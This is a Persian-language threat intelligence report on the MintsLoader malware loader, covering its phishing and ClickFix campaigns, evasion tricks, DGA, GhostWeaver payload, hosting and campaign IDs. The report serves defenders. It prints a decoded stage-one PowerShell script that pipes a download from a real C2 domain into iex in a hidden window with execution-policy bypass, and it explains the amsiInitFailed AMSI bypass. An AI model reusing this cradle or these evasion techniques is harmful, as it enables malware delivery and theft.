MintsLoader، یک لودر مخرب، برای نخستین بار در سال ۲۰۲۴ در چندین کمپین فیشینگ و دانلود ناخواسته مشاهده شد. این لودر معمولا پیلودهای مرحله دوم نظیر GhostWeaver، StealC و نسخهای تغییریافته از کلاینت BOINC را مستقر میکند.
MintsLoader از طریق زنجیرهی آلودگی چندمرحلهای که شامل اسکریپتهای JavaScript و PowerShell مبهمسازیشده است، عمل میکند. این بدافزار از تکنیکهای فرار از sandbox و ماشین مجازی، یک الگوریتم تولید دامنه (DGA)و ارتباطات فرمان وکنترل (C2) مبتنی بر HTTP بهره میبرد.
MintsLoader توسط گروههای تهدید مختلفی مورد استفاده قرار گرفته، اما اپراتورهای TAG-124 (که با نام LandUpdate808 نیز شناخته میشوند) بهشکل گستردهای از آن استفاده کردهاند. قابلیت Malware Intelligence Hunting در Recorded Future، نمونههای جدیدی از MintsLoader و دامنههای C2 مرتبط را شناسایی میکند و فهرستی بهروز برای استفاده در فهرستهای مسدودسازی یا عملیات شکار تهدید فراهم میسازد.
پیشینه MintsLoader
شرکت Orange Cyberdefense برای اولینبار لودر MintsLoader را در کمپینهای توزیع گسترده بین ژوئیه تا اکتبر ۲۰۲۴ شناسایی کرد. همچنین گروه Insikt کمپینهای اولیهای را در فوریه ۲۰۲۴، بر اساس تحلیل Unit42 شرکت Palo Alto از یک آلودگی SocGholish، تشخیص داد.
این لودر از اسکریپتهای جاوااسکریپت (مرحله اول) و PowerShell (مرحله دوم) تشکیل شده که از دامنههای مبتنی بر الگوریتم تولید دامنه (DGA) دریافت میشوند. نام «MintsLoader» از استفاده متمایز آن از پارامتر URL بهصورت s=mints[NUMBER] (مثلاً s=mints11) گرفته شده است.

با اینکه تصور میشود بدافزار MintsLoader توسط گروههای تهدید مختلفی مورد استفاده قرار گرفته، اما آلودگیهای مرتبط با TAG-124 (که با نام LandUpdate808 نیز شناخته میشود) بیش از سایر موارد با انتشار این بدافزار مشاهده شدهاند. علاوه بر این، مهاجمانی که از بدافزار SocGholish استفاده میکردند، از نخستین گروههایی بودند که MintsLoader را بهکار گرفتند؛ و همین موضوع باعث شد در ارزیابیهای اولیه، کمپینهای MintsLoader بهطور انحصاری به SocGholish نسبت داده شوند. برای نمونه، در فوریه ۲۰۲۴، تیم Unit42 شرکت Palo Alto شاخصهایی را منتشر کرد که به SocGholish مرتبط بودند؛ اما تحلیلهای گروه Insikt نشان میدهد URLهایی که برای انتشار AsyncRAT شناسایی شدهاند، با الگوهای URL شناختهشده MintsLoader نیز مطابقت دارند.

بهطور مشابه، در ژوئیه ۲۰۲۴، شرکت Huntress Labs گزارشی از یک آلودگی مرتبط با SocGholish منتشر کرد که در آن، یک کلاینت BOINC منتقل میشد. نکته قابلتوجه این است که URL استفادهشده برای دانلود BOINC با الگوهای شناختهشده URLهای مربوط به MintsLoader مطابقت دارد. شکل زیر نمایی کلی از بازیگران تهدیدی را نشان میدهد که از MintsLoader استفاده میکنند.

در ادامه، کمپینهای اخیر گزارششده مرتبط با MintsLoader ارائه شدهاند.
MintsLoader و صفحات Kongtuke/ClickFix
در اوایل سال ۲۰۲۵، تحلیلگران امنیتی، کمپین فیشینگی را مشاهده کردند که MintsLoader را بهعنوان لودر مرحله اول ارائه میداد. ایمیلهای فیشینگ (با هدف قرار دادن بخشهای انرژی، نفت و گاز و حقوقی در آمریکا و اروپا) حاوی پیوست جاوااسکریپت مخرب یا لینکی به صفحه وب جعلی «Click to verify» بودند. تصویر زیر نمونههایی از صفحات ClickFix را نشان میدهد.

در هر دو حالت، نتیجه اجرای مرحله دوم مبتنی بر PowerShell مخصوص MintsLoader روی دستگاه قربانی بود. این لودر پیلودهای نهایی، بهویژه رباینده اطلاعات StealC و نسخه تغییریافته کلاینت BOINC، را دریافت می کرد. این کمپین از صفحات جعلی تأیید CAPTCHA (تلههای ClickFix/Kongtuke) استفاده کرد تا کاربران را فریب داده تا دستور PowerShell کپیشده را اجرا کنند، که MintsLoader را دانلود و اجرا میکرد.

گزارشهای متعدد نشان میدهند که عاملان تهدید SocGholish (که با نام FakeUpdates نیز شناخته میشوند)، بدافزار MintsLoader را وارد عملیات خود کردهاند. از حدود ژوئیه ۲۰۲۴، آلودگیهای مرتبط با SocGholish که از وبسایتهای آلوده سرچشمه میگرفتند، زنجیرهای از آلودگیها را نشان میدادند که در نهایت به نصب کلاینت محاسبات توزیعشده BOINC از طریق MintsLoader منتهی میشد.
در این کمپین drive-by، قربانیانی که از وبسایتهای معتبر اما آلوده بازدید میکردند، با پیامهای جعلی بهروزرسانی مرورگر روبهرو میشدند (که اغلب از یک اسکریپت با نام update.js
منشأ میگرفت). در صورتی که این اسکریپت اجرا میشد، جاوااسکریپت مخرب، نسخهای مبهمشده از MintsLoader را دانلود کرده و یک زنجیره چندمرحلهای از دستورات PowerShell را آغاز میکرد.

شرکت Huntress Labs دو نتیجه موازی از این حملات را مستند کرده است: در یک شاخه، بدون ایجاد فایل روی دیسک، بدافزار AsyncRAT مستقیماً در حافظه اجرا میشد، و در شاخه دیگر، کلاینت BOINC بهصورت مخفیانه و تحت کنترل مهاجم نصب میگردید. لازم به ذکر است که این نسخه از BOINC بهطور خاص تغییر یافته و طوری پیکربندی شده بود که به یک سرور C2 مخرب متصل شود، نه به سرور رسمی BOINC.
در برخی موارد نیز، در پشتی PowerShell موسوم به GhostWeaver (که توسط Mandiant با عنوان UNC4108 رهگیری میشود) از طریق MintsLoader منتقل شده و به مهاجمان امکان دسترسی مداوم و اجرای افزونههای اضافی را فراهم میکرد.
فیشینگ فاکتور در اروپا
در اواخر سال ۲۰۲۴، یک کمپین دیگر مرتبط با MintsLoader، سازمانهای اروپایی را هدف قرار داد؛ این حمله از طریق ایمیلهای فیشینگ با موضوع فاکتور انجام شد.
در این کمپین، پیامهای اسپم از سیستم ایمیل تأییدشده PEC ایتالیا استفاده میکردند تا به ایمیلها ظاهر معتبر بدهند و گیرندگان را ترغیب کنند فایلهای JavaScript ضمیمهشده (که خود را بهعنوان فاکتور جا زده بودند) را باز کنند.
تیم تحقیقاتی Spamhaus این حمله را با عنوان “کلاهبرداری فاکتور PEC” معرفی کرد و هشدار داد که مهاجمان با سوءاستفاده از کانالهای ایمیل معتبر، از سد بسیاری از مکانیزمهای امنیتی عبور کردهاند.
این کمپین به دلیل “سرقت زمان، پول و اعتماد از کسبوکارها” مورد توجه ویژه قرار گرفت.

تحلیل فنی MintsLoader
MintsLoader از یک زنجیره اجرای چندمرحلهای شامل جاوااسکریپت و PowerShell استفاده میکند، که در هر مرحله از مبهمسازی برای دشوار کردن تحلیل بهره میبرد. اگرچه MintsLoader صرفا بهعنوان یک لودر بدون قابلیتهای اضافی عمل میکند، نقاط قوت اصلی آن در تکنیکهای فرار از سندباکس(sandbox) و ماشین مجازی و پیادهسازی الگوریتم تولید دامنه (DGA) نهفته است که دامنه سرور فرمان و کنترل (C2) را بر اساس روز اجرا تولید میکند.
این ویژگیها تحلیل ایستا و تشخیص مبتنی بر هاست را بهطور قابلتوجهی پیچیده میکنند. با این حال، ارتباطات C2 آن از طریق پروتکل HTTP انجام میشود، که یک بردار قابلاعتماد برای تشخیص و شناسایی نمونههای جدید فراهم میکند. تصویر زیر قابلیتهای سطح بالای MintsLoader را نشان میدهد.

این تحلیل از MintsLoader شامل جزئیاتی درباره پیلودهای مرحله اول و دوم و زیرساخت MintsLoader است.
زنجیره حمله MintsLoader
بدافزار MintsLoader معمولاً از طریق ایمیلهای فیشینگی منتشر میشود که شامل لینکهایی به صفحات KongTuke یا ClickFix هستند. با اجرای این صفحات، مرحله اول کد جاوااسکریپت دریافت و اجرا میشود. این کد جاوااسکریپت بهشدت مبهمسازی شده است و اجرای آن منجر به اجرای یک دستور PowerShell میشود که وظیفه دارد مرحله دوم MintsLoader را دانلود و اجرا کند.

مرحله دوم بررسیهای محیطی را انجام میدهد تا تشخیص دهد آیا در یک سندباکس یا محیط مجازی اجرا میشود یا خیر. سپس، اسکریپت از یک DGA برای تولید دامنه C2 بعدی استفاده میکند. MintsLoader پس از آن تلاش میکند با دامنه تولیدشده تماس برقرار کند تا پیلودهای نهایی، مانند GhostWeaver، StealC، یا کلاینت BOINC را دانلود کند. تصویر زیر نمای کلی از این زنجیره حمله را نشان میدهد.

مرحله اول: جاوااسکریپت
مرحله اولیه MintsLoader شامل یک فایل جاوااسکریپت است که یک دستور PowerShell را اجرا میکند تا مرحله دوم را دریافت کند. این اسکریپت با استفاده از کامنتهای بیمعنی، متغیرها و نامهای تابع غیرقابلخواندن، جایگزینی کاراکترها و رمزگذاری رشتهها به شدت مبهمسازی شده است.

همانطور که گفته شد عملکرد اصلی پیلود جاوااسکریپت مرحله اول اجرای یک دستور PowerShell است که دستور:
curl -useb http://[domain]/1.php?s=[campaign]
را اجرا کرده و مرحله دوم را دانلود و اجرا میکند. زمانی که در PowerShell از دستور ‘curl’ با گزینه ‘-useb’ استفاده میشود، این دستور معادل Invoke-WebRequest است و در واقع برنامه cURL برای انجام درخواست HTTP استفاده نمیشود.
گروه Insikt سه نسخه متفاوت از بارگذاریکننده مرحله اول را شناسایی کرده است که همه از تکنیکهای مشابه obfuscation جاوا اسکریپت استفاده میکنند، اما در پیادهسازی PowerShell مستقر شده متفاوت هستند.
اولین نسخه دستور PowerShell را به صورت متن ساده اجرا میکند، با دامنه C2 که به صورت ثابت در کد قرار دارد. این نسخه در کمپینهای “mints13” و “flibabc11” مشاهده شده است.

در نسخه دوم، دستور PowerShell با استفاده از جایگزینی کاراکترها مبهمسازی شده است. دامنه C2 همچنان هاردکدشده است و یک نام مستعار برای دستور curl استفاده میشود؛ اما هدف همچنان دانلود مرحله بعدی است. این نسخه پرکاربردترین است و در کمپینهای flibabc21، flibabc22، mints11، mints13، mints21 و mints42 دیده شده است.

نسخه سوم دستور را در قالب Base64 رمزگذاری میکند. گروه Insikt این روش را در کمپین قدیمیتر mints13 مشاهده کرده است.

با این حال، در این نسخه، دستور PowerShell فایلی حاوی دستور PowerShell برای دانلود مرحله دوم از طریق cURL ایجاد میکند. سپس فایل را اجرا کرده و آن را حذف میکند. متن رمزگشاییشده Base64 دستور PowerShell مرحله اول به شرح زیر است:
$ErrorActionPreference = "Continue"
$randomNamePart1 = -join ((48..57) + (97..122) | Get-Random -Count 5 | % { [char]$_ });
$currentTimeHour = [int](Get-Date -Format HH);
$currentTimeMinute = [int](Get-Date -Format mm);
$minuteAdjustment = 3;
If ($currentTimeMinute + $minuteAdjustment -gt 59) {
$currentTimeHour = $currentTimeHour + 1;
$currentTimeMinute = $currentTimeMinute + $minuteAdjustment - 60;
} Else {
$currentTimeMinute = $currentTimeMinute + $minuteAdjustment;
};
$currentTimeHour = If (([int](Get-Date -Format HH) + 1) -gt 23) { "00" } Else { $currentTimeHour };
$randomNamePart2 = -join ((65..90) + (97..122) | Get-Random -Count 12 | % { [char]$_ });
$scriptToExecute = @"
$ErrorActionPreference = "Continue"
curl -useb "http://gibuzuy37v2v[.]top/1.php?s=mints13" | iex;
Remove-Item "C:\Users\Public\Documents\$($randomNamePart2).ps1" -Force
"@;
"powershell -noprofile -executionpolicy bypass -WindowStyle hidden -c $($scriptToExecute)" | Out-File -FilePath "C:\Users\Public\Documents\$($randomNamePart2).ps1";
powershell -noprofile -executionpolicy bypass -WindowStyle hidden -File "C:\Users\Public\Documents\$($randomNamePart2).ps1";
Remove-Item "$env:APPDATA\*.ps1" -Force
Remove-Item "$env:APPDATA\*.bat" -Force
ارتباطات C2 مرحله اول
اجرای هر یک از نسخهها منجر به یک درخواست HTTP GET به دامنه هاردکدشده برای دریافت پیلود مرحله دوم میشود. یک درخواست موفق اسکریپت PowerShell نشاندادهشده در تصویر زیر را دریافت و اجرا میکند.

اگر دامنه DGA دیگر معتبر نباشد، پاسخ 302 بازگردانده میشود، همانطور که در تصویر زیر نشان داده شده است.

مرحله دوم: PowerShell
مرحله دوم، شامل یک رشته رمزگذاریشده در قالب Base64 است. پس از رمزگشایی XOR و فشردهگشایی، پیلود اصلی که آن هم مبهمسازی شده است، به دست میآید. تصویر زیر بخشی از این پیلود را نشان میدهد و تکنیکهای ساخت رشتههای مبهمسازیشده MintsLoader را به تصویر میکشد.

پس از مرحله اولیهی حذف ابهام (deobfuscation) و رمزگشایی، مرحله دوم پاورشل (PowerShell) با تلاش برای دور زدن رابط اسکن ضدبدافزار (AMSI) آغاز میشود. این کار با استفاده از یک تکنیک شناختهشده انجام میگیرد که وانمود میکند مقداردهی اولیه AMSI با شکست مواجه شده است؛ به این صورت که متغیر amsiInitFailed
از شیء System.Management.Automation.AmsiUtils
را برابر با TRUE قرار میدهد.
بخش باقیمانده کد مسئول اجرای سه کوئری اطلاعات سیستمی است. این کوئریها برای تشخیص اینکه آیا سیستم روی سختافزار واقعی، سندباکس یا ماشین مجازی اجرا میشود، استفاده میشوند. این اطلاعات از طریق یک متغیر عددی که بهعنوان پارامتر URL به نام key ارسال میشود، به C2 منتقل میگردد. C2 مقدار آن را بررسی میکند تا تعیین کند آیا پاسخش مرحله سوم را برای دانلود پیلود نهایی یا یک طعمه بازمیگرداند. باید توجه داشت که مقادیر عددی ثابت استفادهشده برای افزایش متغیر key با هر نمونه مرحله دوم تغییر میکنند.
نتیجه هر کوئری اطلاعات سیستمی در برابر سه عبارت منطقی بررسی میشود، که ترتیب آنها در هر نمونه متفاوت است، همراه با اعداد ثابتی که key را افزایش میدهند و نتایجشان روی مقدار متغیر key تأثیر میگذارند.
عبارات منطقی ممکن است در بررسی اولیه نتایج واضحی ارائه ندهند. برای مثال، اگر اولین بررسی سیستمی مبهمگشاییشده، که در تصویر زیر مشاهده میکنید، روی یک ماشین مجازی اجرا شود، متغیر $isVirtualMachine برابر با $true خواهد بود. عبارت منطقی “$true -eq 3” در PowerShell به $true نسبت داده میشود و key را بهجای ۸۳۶۷۰۴۰۶۲۷۷، به مقدار ۱۵۳۱۰۸۰۵۷۵۷ افزایش میدهد.

کوئری سیستمی دوم، عضو AdapterDACType از شیء Win32_VideoController WMI را درخواست میکند تا نام یا شناسه تراشه مبدل دیجیتال به آنالوگ (DAC) را به دست آورد. این بررسی تعیین میکند که آیا سیستم آلوده روی شبیهساز یا بهصورت مجازی اجرا میشود. بهطور معمول، یک سیستم ویندوزی مقادیر “Internal” یا “Integrated RAMDAC” را بازمیگرداند، که در این مثال key را به مقدار ۱۴۴۶۷۹۶۵۸۸۸ افزایش میدهد.

کوئری سیستمی سوم، عضو purpose از شیء Win32_CacheMemory WMI را درخواست میکند، که در یک سیستم ویندوزی معمولی برابر با “L1 Cache” خواهد بود. عبارت منطقی غیرواضح “$l1CachePurpose.length —gt 4” در حالت بهینه اجرا میشود و مقدار key را در مثال مبهمگشاییشده به مقدار ۲۷۴۲۴۳۳۰۴۸۱ افزایش میدهد.

کوئریهای سیستمی و محاسبه key با تولید یک Seed تصادفی بر اساس تاریخ و یک ثابت دنبال میشوند، که با یک شیء system.Random برای ساخت دامنه با استفاده از یک DGA ساده و مسیر URL استفاده میشود.
ممکن است نویسنده این بدافزار با عدم استفاده از متغیر تصادفی دوم برای ساخت مسیر URL اشتباه کرده باشد. در عوض، آنها از یک متغیر تعریفنشده برای پایان مسیر URL استفاده کردهاند، که پایان مسیر URL را به یک ثابت “htr.php” تبدیل میکند.

ارتباطات C2 مرحله دوم
تصویر زیر نمونهای از درخواست MintsLoader برای پیلود نهایی را نشان میدهد، با مسیر URL که به htr.php ختم میشود. پارامتر URL id نام میزبان است و پارامتر s شناسه کمپین است.

اگر درخواست مرحله دوم شرایط خاصی را برآورده نکند، payload نهایی ممکن است به یک فایل اجرایی جعلی (decoy) منتهی شود (مانند شکل ۲۴). در این مثال، فایل اجرایی جعلی مربوط به AsyncRAT است که از سایت temp[.]sh دانلود میشود.
این ارتباط با AsyncRAT باعث شد که در گزارشهای اولیه و برخی اقدامات مقابلهای مربوط به ترافیک شبکه، به این بدافزار با عنوان “AsyncRAT Loader” اشاره شود. همین موضوع باعث شده که نمونههای بدافزار MintsLoader به اشتباه به عنوان AsyncRAT برچسبگذاری شوند، در حالی که کمپینهای فعلی MintsLoader در واقع از AsyncRAT استفاده نمیکنند.

یک تلاش موفق اخیر در تصویر زیر نشان داده شده است؛ در این مثال، پیلود نهایی GhostWeaver است.

GhostWeaver
یکی از رایجترین payloadهایی که توسط MintsLoader اجرا میشود، GhostWeaver است؛ یک تروجان دسترسی از راه دور (RAT) مبتنی بر PowerShell که شباهتهای کدی و عملکردی قابلتوجهی با خود MintsLoader دارد. نکته مهم اینکه GhostWeaver میتواند MintsLoader را نیز به عنوان یک payload اضافی از طریق دستور sendPlugin
اجرا کند.
ارتباط بین GhostWeaver و سرور فرمان و کنترل (C2) آن با استفاده از رمزگذاری TLS محافظت میشود. این ارتباط از طریق یک گواهی X.509 خودامضاشده و مبهمشده برقرار میشود که مستقیماً در اسکریپت PowerShell تعبیه شده و برای احراز هویت سمت کلاینت در زیرساخت C2 استفاده میشود.
GhostWeaver در برخی موارد به اشتباه به عنوان AsyncRAT دستهبندی شده است. گروه Insikt با اطمینان ارزیابی میکند که این اشتباه از آنجا آغاز شد که شرکت Palo Alto Networks در ابتدا یکی از نمونههای GhostWeaver (با شناسه SHA256: fb0238b388d9448a6b36aca4e6a9e4fbcbac3afc239cb70251778d40351b5765
) را بهاشتباه به عنوان نسخهای بدون فایل از AsyncRAT شناسایی کرد.
گرچه GhostWeaver و AsyncRAT در برخی ویژگیهای گواهی X.509 خودامضاشده، مانند تاریخ انقضا و طول شماره سریال مشابه هستند، اما این شباهتها احتمالاً تنها ناشی از روشهای رایج تولید گواهی بوده و لزوماً نشاندهنده شباهت در عملکرد یا ارتباط عملیاتی نیستند.
زیرساخت MintsLoader
گروه Insikt در ابتدا سرورهای C2 مربوط به MintsLoader را فقط روی شبکه BLNWX شناسایی کرد، اما بعدها مشاهده شد که این بدافزار بهتدریج از ارائهدهندگان خدمات اینترنتی دیگری مانند Stark Industries Solutions Ltd (AS44477)، GWY IT Pty Ltd (AS199959) و SCALAXY-AS (58061) نیز استفاده میکند.
آدرسهای IP مربوط به سرورهای C2 که از طریق SCALAXY-AS اعلام میشوند، توسط شرکتهای میزبانی 3NT Solutions LLP و IROKO Networks Corporation اداره میشوند. هر دو این شرکتها بخشی از ارائهدهنده میزبانی bulletproof روسزبان به نام Inferno Solutions (دامنه inferno[.]name) هستند.
انتقال به شبکههای SCALAXY-AS و Stark Industries Solutions نشان میدهد که گردانندگان MintsLoader از تکیه بر ارائهدهندگان ناشناس VPS به سمت استفاده از میزبانهای سنتی bulletproof حرکت کردهاند. احتمالاً این تغییر بهمنظور مقاومسازی زیرساخت خود در برابر تلاشهای برای حذف سرورها (takedown) و افزایش پایداری عملیات انجام شده است.
در چند ماه گذشته، گروه Insikt مجموعهای از شناسههای کمپین مشکوک و payloadهای مرتبط را شناسایی کرده است (جدول زیر). این اطلاعات از منابع عمومی و تحقیقات داخلی گروه Insikt گردآوری شدهاند.
Campaign ID | Observed Final Payload | Last Date Active | Notes |
521 | StealC | 2025-04-20 | |
522 | StealC | 2025-04-20 | |
523 | StealC | 2025-04-20 | observed in connection with AsyncRAT infections |
524 | StealC | 2025-04-20 | N/A |
527 | GhostWeaver | 2025-04-20 | Linked to TAG-124 by Insikt Group |
flibabc11 | GhostWeaver | 2025-04-20 | |
flibabc12 | GhostWeaver | 2025-04-20 | |
flibabc13 | GhostWeaver | 2025-04-20 | |
flibabc14 | StealC | 2025-04-20 | |
flibabc21 | GhostWeaver | 2025-04-20 | |
flibabc22 | GhostWeaver | 2025-04-20 | |
flibabc23 | GhostWeaver | 2025-04-20 | |
flibabc25 | GhostWeaver | 2025-04-20 | |
515 | N/A | N/A | Observed in connection with AsyncRAT infections |
578 | N/A | N/A | Linked to TAG-124 via the domain sesraw[.]com, which Insikt Group had previously linked to TAG-124 |
579 | N/A | N/A | Observed in connection with AsyncRAT infections |
boicn | N/A | N/A | Observed in connection with AsyncRAT infections |
mints1 | N/A | N/A | N/A |
mints11 | N/A | N/A | N/A |
mints12 | N/A | N/A | N/A |
mints13 | N/A | N/A | N/A |
mints21 | N/A | N/A | N/A |